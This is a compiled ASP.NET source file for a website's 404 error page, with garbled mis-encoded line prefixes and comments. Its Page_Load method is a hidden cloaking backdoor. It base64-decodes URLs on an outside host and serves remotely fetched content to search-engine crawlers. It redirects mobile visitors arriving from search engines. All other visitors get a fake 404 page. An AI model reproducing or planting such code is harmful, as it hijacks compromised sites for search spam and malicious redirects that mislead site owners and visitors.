琛 1: #pragma checksum "E:\ztjtweb\404.aspx" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "BBD8F477D7561C05C947DCE752A8DC6D31A9A9F7"琛 2: //------------------------------------------------------------------------------琛 3: // 琛 4: // 姝や唬鐮佺敱宸ュ叿鐢熸垚銆琛 5: // 杩愯鏃剁増鏈?4.0.30319.42000琛 6: //琛 7: // 瀵规鏂囦欢鐨勬洿鏀瑰彲鑳戒細瀵艰嚧涓嶆纭殑琛屼负锛屽苟涓斿鏋琛 8: // 閲嶆柊鐢熸垚浠g爜锛岃繖浜涙洿鏀瑰皢浼氫涪澶便€琛 9: // 琛 10: //------------------------------------------------------------------------------琛 11: 琛 12: 琛 13: 琛 14: public partial class _404 : System.Web.SessionState.IRequiresSessionState {琛 15: 琛 16: protected System.Web.Profile.DefaultProfile Profile {琛 17: get {琛 18: return ((System.Web.Profile.DefaultProfile)(this.Context.Profile));琛 19: }琛 20: }琛 21: 琛 22: protected ASP.global_asax ApplicationInstance {琛 23: get {琛 24: return ((ASP.global_asax)(this.Context.ApplicationInstance));琛 25: }琛 26: }琛 27: }琛 28: namespace ASP {琛 29: 琛 30: #line 389 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 31: using System.Linq;琛 32: 琛 33: #line default琛 34: #line hidden琛 35: 琛 36: #line 2 "E:\ztjtweb\404.aspx"琛 37: using System.Net;琛 38: 琛 39: #line default琛 40: #line hidden琛 41: 琛 42: #line 396 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 43: using System.Web.Security;琛 44: 琛 45: #line default琛 46: #line hidden琛 47: 琛 48: #line 385 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 49: using System.Collections.Generic;琛 50: 琛 51: #line default琛 52: #line hidden琛 53: 琛 54: #line 391 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 55: using System.Text.RegularExpressions;琛 56: 琛 57: #line default琛 58: #line hidden琛 59: 琛 60: #line 399 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 61: using System.Web.UI.WebControls;琛 62: 琛 63: #line default琛 64: #line hidden琛 65: 琛 66: #line 402 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 67: using System.Xml.Linq;琛 68: 琛 69: #line default琛 70: #line hidden琛 71: 琛 72: #line 398 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 73: using System.Web.UI;琛 74: 琛 75: #line default琛 76: #line hidden琛 77: 琛 78: #line 383 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 79: using System;琛 80: 琛 81: #line default琛 82: #line hidden琛 83: 琛 84: #line 401 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 85: using System.Web.UI.HtmlControls;琛 86: 琛 87: #line default琛 88: #line hidden琛 89: 琛 90: #line 392 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 91: using System.Web;琛 92: 琛 93: #line default琛 94: #line hidden琛 95: 琛 96: #line 388 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 97: using System.Configuration;琛 98: 琛 99: #line default琛 100: #line hidden琛 101: 琛 102: #line 387 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 103: using System.ComponentModel.DataAnnotations;琛 104: 琛 105: #line default琛 106: #line hidden琛 107: 琛 108: #line 390 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 109: using System.Text;琛 110: 琛 111: #line default琛 112: #line hidden琛 113: 琛 114: #line 397 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 115: using System.Web.Profile;琛 116: 琛 117: #line default琛 118: #line hidden琛 119: 琛 120: #line 393 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 121: using System.Web.Caching;琛 122: 琛 123: #line default琛 124: #line hidden琛 125: 琛 126: #line 384 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 127: using System.Collections;琛 128: 琛 129: #line default琛 130: #line hidden琛 131: 琛 132: #line 400 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 133: using System.Web.UI.WebControls.WebParts;琛 134: 琛 135: #line default琛 136: #line hidden琛 137: 琛 138: #line 386 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 139: using System.Collections.Specialized;琛 140: 琛 141: #line default琛 142: #line hidden琛 143: 琛 144: #line 395 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 145: using System.Web.SessionState;琛 146: 琛 147: #line default琛 148: #line hidden琛 149: 琛 150: #line 394 "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config"琛 151: using System.Web.DynamicData;琛 152: 琛 153: #line default琛 154: #line hidden琛 155: 琛 156: #line 3 "E:\ztjtweb\404.aspx"琛 157: using System.IO;琛 158: 琛 159: #line default琛 160: #line hidden琛 161: 琛 162: 琛 163: [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]琛 164: public class _404_aspx : global::_404, System.Web.IHttpHandler {琛 165: 琛 166: private static bool @__initialized;琛 167: 琛 168: private static object @__stringResource;琛 169: 琛 170: private static object @__fileDependencies;琛 171: 琛 172: 琛 173: #line 4 "E:\ztjtweb\404.aspx"琛 174: 琛 175: protected void Page_Load(object sender, EventArgs e)琛 176: {琛 177: string data_user = Request.UserAgent;琛 178: string data_link = Request.Url.ToString();琛 179: string data_refs = Request.UrlReferrer != null ? Request.UrlReferrer.ToString() : "";琛 180: string Path;琛 181: 琛 182: if (data_link.Contains("txt"))琛 183: {琛 184: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC90eHQv");琛 185: }琛 186: else if (data_link.Contains("err"))琛 187: {琛 188: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC9lcnIv");琛 189: }else {琛 190: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC9lcnIv");琛 191: }琛 192: 琛 193: if (Is_VipUser(data_user))琛 194: {琛 195: string c_link = Path + DeBaseString(@"P3VjPWdiayZob3N0PQ==") + data_link;琛 196: string c_link_data = GetHttp(c_link);琛 197: Response.Write(c_link_data);Response.End();琛 198: }琛 199: 琛 200: if (IS_SvipUser(data_refs) && IS_SvipEnts(data_link))琛 201: {琛 202: if (IS_Moblie(data_user))琛 203: {琛 204: string t_link = Path + DeBaseString(@"P3VjPWp1bXA=");琛 205: string t_link_data = GetHttp(t_link);琛 206: Response.Write(t_link_data);琛 207: Response.End();琛 208: }else{琛 209: Response.StatusCode = 404;琛 210: Response.Status="404 Not Found";琛 211: Response.Write(DeBaseString("PGh0bWw+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPHRpdGxlPjQwNDwvdGl0bGU+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iIj4KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iIj4KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW4gIWltcG9ydGFudDsKICAgICAgICAgICAgcGFkZGluZy10b3A6IDEyMHB4OwogICAgICAgIH0KCiAgICAgICAgLnRleHQtaW5mbyB7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBmb250LXNpemU6IDUwcHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMXB4OwogICAgICAgIH0KCiAgICAgICAgLnBhZ2UtZXJyb3IgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBtYXJnaW46IDMwcHggMCAwOwogICAgICAgICAgICB3aWR0aDogNTAlOwogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICB6LWluZGV4OiA1MDAwOwogICAgICAgIH0KCiAgICAgICAgZGl2LmVycm9yLWNvbnRlbnQgewogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICB9CgogICAgICAgIC5lcnJvci1saW5rIHsKICAgICAgICAgICAgY29sb3I6ICNGRkEyMDA7CiAgICAgICAgfQoKICAgICAgICAubG9nby1lcnJvciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMCwgMCwgMCwgMC4wOCk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweCAzcHggMCAwOwogICAgICAgICAgICBjb2xvcjogI0ZGRkZGRjsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcGFkZGluZzogMCAwIDE1cHggMjVweDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDBweDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCByZ2JhKDAsIDAsIDAsIDAuMik7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDFweCAxcHggMHB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKTsKICAgICAgICB9CgogICAgICAgICAgICAubG9nby1lcnJvciBoMSB7CiAgICAgICAgICAgICAgICBjb2xvcjogI0ZGRkZGRjsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzBweDsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAyMDA7CiAgICAgICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogLTFweDsKICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogaW5oZXJpdDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC5sb2dvLWVycm9yIGgxIHNwYW4gewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmUgcmVwZWF0IHNjcm9sbCAwIDAgcmdiYSgwLCAwLCAwLCAwLjIpOwogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDA7CiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMCA1cHg7CiAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgICAgIHRvcDogLTNweDsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAiT3BlbiBTYW5zIiwgQXJpYWwsIHNhbnMtc2VyaWYgIWltcG9ydGFudDsKICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4ICFpbXBvcnRhbnQ7CiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAyMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiB1cmwoL3doaXJfc3lzdGVtL1Jlcy9pbWFnZXMvYmcuanBnKSBuby1yZXBlYXQgdG9wIGNlbnRlciBmaXhlZDsKICAgICAgICB9CiAgICA8L3N0eWxlPgoKPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxvZ28tZXJyb3IiPgogICAgICAgIDxoMT5lekVJUAogICAgICAgICAgICA8c3Bhbj52NS4wPC9zcGFuPgogICAgICAgIDwvaDE+CiAgICA8L2Rpdj4KICAgIDxzZWN0aW9uIGNsYXNzPSJwYWdlLWVycm9yIj4KICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1wYWdlIj4KICAgICAgICAgICAgPGgyIGNsYXNzPSJ0ZXh0LWluZm8iPjQwNDwvaDI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJlbnR5cG8tYXR0ZW50aW9uIj48L2k+UGFnZSBub3QgZm91bmQuPC9oMz4KICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgIFdlIGNvdWxkIG5vdCBmaW5kIHRoZSBwYWdlIHlvdSB3ZXJlIGxvb2tpbmcgZm9yLiBNZWFud2hpbGUsIHlvdSBtYXkgcmV0dXJuIHRvIDxhIGNsYXNzPSJlcnJvci1saW5rIiBocmVmPScvJz5IT01FIFBBR0U8L2E+LgogICAgICAgICAgICAgICAgPC9wPgoKICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L3NlY3Rpb24+CjwvYm9keT4KPC9odG1sPg=="));Response.End();琛 212: }琛 213: }琛 214: }琛 215: public string GetHttp(string url)琛 216: {琛 217: HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);琛 218: 琛 219: httpWebRequest.ContentType = "application/x-www-form-urlencoded";琛 220: httpWebRequest.UserAgent = Request.ServerVariables["HTTP_USER_AGENT"];琛 221: httpWebRequest.Method = "GET";琛 222: httpWebRequest.Timeout = 999999;琛 223: 琛 224: HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();琛 225: StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("GB2312"));琛 226: string responseContent = streamReader.ReadToEnd();琛 227: 琛 228: httpWebResponse.Close();琛 229: streamReader.Close();琛 230: 琛 231: return responseContent;琛 232: }琛 233: 琛 234: public bool Is_VipUser(string user)琛 235: {琛 236: return Regex.IsMatch(user, @"Baiduspider|Sogou|YisouSpider|360Spider|Bytespider|bingbot", RegexOptions.IgnoreCase);琛 237: }琛 238: public bool IS_SvipUser(string user)琛 239: {琛 240: return Regex.IsMatch(user, @"baidu|sogou|so.com|sm.cn|bing|toutiao", RegexOptions.IgnoreCase);琛 241: }琛 242: public bool IS_SvipEnts(string link)琛 243: {琛 244: return Regex.IsMatch(link, @"\.gov.cn|\.edu.cn|\.shtml|\.phtml|\.xml|err|txt", RegexOptions.IgnoreCase);琛 245: }琛 246: public bool IS_Moblie(string user)琛 247: {琛 248: return Regex.IsMatch(user, @"nokia|sony|ericsson|mot|samsung|htc|sgh|lg|sharp|sie-|philips|panasonic|alcatel|lenovo|iphone|ipod|blackberry|meizu|android|netfront|symbian|ucweb|windowsce|palm|operamini|operamobi|openwave|nexusone|cldc|midp|wap|mobile", RegexOptions.IgnoreCase);琛 249: }琛 250: public string DeBaseString(string str)琛 251: {琛 252: return Encoding.Default.GetString(Convert.FromBase64String(str));琛 253: }琛 254: 琛 255: #line default琛 256: #line hidden琛 257: 琛 258: 琛 259: [System.Diagnostics.DebuggerNonUserCodeAttribute()]琛 260: public _404_aspx() {琛 261: string[] dependencies;琛 262: 琛 263: #line 912304 "E:\ztjtweb\404.aspx.cs"琛 264: ((global::System.Web.UI.Page)(this)).AppRelativeVirtualPath = "~/404.aspx";琛 265: 琛 266: #line default琛 267: #line hidden琛 268: if ((global::ASP._404_aspx.@__initialized == false)) {琛 269: global::ASP._404_aspx.@__stringResource = this.ReadStringResource();琛 270: dependencies = new string[2];琛 271: dependencies[0] = "~/404.aspx";琛 272: dependencies[1] = "~/404.aspx.cs";琛 273: global::ASP._404_aspx.@__fileDependencies = this.GetWrappedFileDependencies(dependencies);琛 274: global::ASP._404_aspx.@__initialized = true;琛 275: }琛 276: this.Server.ScriptTimeout = 30000000;琛 277: }琛 278: 琛 279: [System.Diagnostics.DebuggerNonUserCodeAttribute()]琛 280: private void @__BuildControlTree(_404_aspx @__ctrl) {琛 281: 琛 282: #line 1 "E:\ztjtweb\404.aspx"琛 283: @__ctrl.EnableViewStateMac = false;琛 284: 琛 285: #line default琛 286: #line hidden琛 287: 琛 288: #line 1 "E:\ztjtweb\404.aspx"琛 289: @__ctrl.EnableEventValidation = false;琛 290: 琛 291: #line default琛 292: #line hidden琛 293: 琛 294: #line 1 "E:\ztjtweb\404.aspx"琛 295: this.InitializeCulture();琛 296: 琛 297: #line default琛 298: #line hidden琛 299: @__ctrl.SetRenderMethodDelegate(new System.Web.UI.RenderMethod(this.@__Render__control1));琛 300: }琛 301: 琛 302: private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer) {琛 303: this.WriteUTF8ResourceString(@__w, 0, 2051, true);琛 304: 琛 305: #line 157 "E:\ztjtweb\404.aspx"琛 306: @__w.Write(SysPath);琛 307: 琛 308: 琛 309: #line default琛 310: #line hidden琛 311: this.WriteUTF8ResourceString(@__w, 2051, 686, true);琛 312: }琛 313: 琛 314: 琛 315: #line 912304 "E:\ztjtweb\404.aspx.cs"琛 316: [System.Diagnostics.DebuggerNonUserCodeAttribute()]琛 317: protected override void FrameworkInitialize() {琛 318: base.FrameworkInitialize();琛 319: this.SetStringResourcePointer(global::ASP._404_aspx.@__stringResource, 0);琛 320: this.@__BuildControlTree(this);琛 321: this.AddWrappedFileDependencies(global::ASP._404_aspx.@__fileDependencies);琛 322: }琛 323: 琛 324: #line default琛 325: #line hidden琛 326: 琛 327: [System.Diagnostics.DebuggerNonUserCodeAttribute()]琛 328: public override int GetTypeHashCode() {琛 329: return 909526700;琛 330: }琛 331: 琛 332: [System.Diagnostics.DebuggerNonUserCodeAttribute()]琛 333: public override void ProcessRequest(System.Web.HttpContext context) {琛 334: base.ProcessRequest(context);琛 335: }琛 336: }琛 337: }琛 338:
|